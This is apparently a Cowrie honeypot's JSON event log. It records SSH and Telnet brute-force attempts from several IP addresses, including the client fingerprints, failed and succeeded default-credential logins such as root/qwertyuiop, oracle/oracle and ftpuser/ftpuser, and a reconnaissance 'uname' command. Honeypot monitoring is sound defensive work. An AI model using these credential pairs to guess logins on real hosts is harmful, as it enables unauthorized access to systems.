fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.813341Z","src_ip":"192.109.200.78","session":"8827c80d85cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34748,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f2a29a6425a","protocol":"ssh","message":"New connection: 176.65.139.95:34748 (159.203.135.109:22) [session: 3f2a29a6425a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.833011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.847793Z","src_ip":"176.65.139.95","session":"3f2a29a6425a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.923159Z","src_ip":"176.65.139.95","session":"3f2a29a6425a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:21.067978Z","src_ip":"192.109.200.78","session":"8827c80d85cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:21.321076Z","src_ip":"176.65.139.95","session":"3f2a29a6425a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:22.155811Z","src_ip":"192.109.200.78","session":"8827c80d85cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:22.589977Z","src_ip":"176.65.139.95","session":"3f2a29a6425a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc4cdfff54b","protocol":"ssh","message":"New connection: 192.109.200.78:36240 (159.203.135.109:22) [session: 0dc4cdfff54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:25.126184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:25.131071Z","src_ip":"192.109.200.78","session":"0dc4cdfff54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:25.216034Z","src_ip":"192.109.200.78","session":"0dc4cdfff54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:25.465470Z","src_ip":"192.109.200.78","session":"0dc4cdfff54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:26.556045Z","src_ip":"192.109.200.78","session":"0dc4cdfff54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34760,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea02a32a779","protocol":"ssh","message":"New connection: 176.65.139.95:34760 (159.203.135.109:22) [session: 0ea02a32a779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:27.664451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:27.671049Z","src_ip":"176.65.139.95","session":"0ea02a32a779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:27.764981Z","src_ip":"176.65.139.95","session":"0ea02a32a779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:28.711916Z","src_ip":"176.65.139.95","session":"0ea02a32a779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"cecbecddc252","protocol":"ssh","message":"New connection: 192.109.200.78:35588 (159.203.135.109:22) [session: cecbecddc252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:28.910310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:28.917925Z","src_ip":"192.109.200.78","session":"cecbecddc252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:29.153226Z","src_ip":"192.109.200.78","session":"cecbecddc252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:29.412820Z","src_ip":"192.109.200.78","session":"cecbecddc252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:29.817183Z","src_ip":"176.65.139.95","session":"0ea02a32a779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161695480347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:29.987625Z","src_ip":"152.59.179.89","session":"fe0cb820da86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:30.499019Z","src_ip":"192.109.200.78","session":"cecbecddc252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181341171265,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:31.002297Z","src_ip":"212.252.78.49","session":"85b74a3bb3e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":8304,"dst_ip":"159.203.135.109","dst_port":23,"session":"8624659cb8f3","protocol":"telnet","message":"New connection: 212.252.78.49:8304 (159.203.135.109:23) [session: 8624659cb8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:32.356986Z"}
{"eventid":"cowrie.session.closed","duration":120.0012457370758,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:32.784380Z","src_ip":"152.59.179.89","session":"277e188f855d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35600,"dst_ip":"159.203.135.109","dst_port":22,"session":"03cd9f7a2a88","protocol":"ssh","message":"New connection: 192.109.200.78:35600 (159.203.135.109:22) [session: 03cd9f7a2a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:33.030066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:33.034597Z","src_ip":"192.109.200.78","session":"03cd9f7a2a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:33.118003Z","src_ip":"192.109.200.78","session":"03cd9f7a2a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00117897987366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:33.187467Z","src_ip":"152.59.179.89","session":"51f9326cdd5d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:33.369476Z","src_ip":"192.109.200.78","session":"03cd9f7a2a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:34.455274Z","src_ip":"192.109.200.78","session":"03cd9f7a2a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54088,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c7575caf39","protocol":"ssh","message":"New connection: 176.65.139.95:54088 (159.203.135.109:22) [session: a4c7575caf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.001434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.006633Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.089715Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.416658Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.636423Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.639915Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.800128Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:35.806177Z","src_ip":"176.65.139.95","session":"a4c7575caf39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00646686553955,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:36.257322Z","src_ip":"152.59.179.89","session":"e32bf8737665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35606,"dst_ip":"159.203.135.109","dst_port":22,"session":"b478b0f097e1","protocol":"ssh","message":"New connection: 192.109.200.78:35606 (159.203.135.109:22) [session: b478b0f097e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.125774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.130644Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.213197Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.463109Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.667997Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.671016Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":49358,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ca56749765","protocol":"ssh","message":"New connection: 80.94.92.168:49358 (159.203.135.109:22) [session: 85ca56749765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.677181Z"}
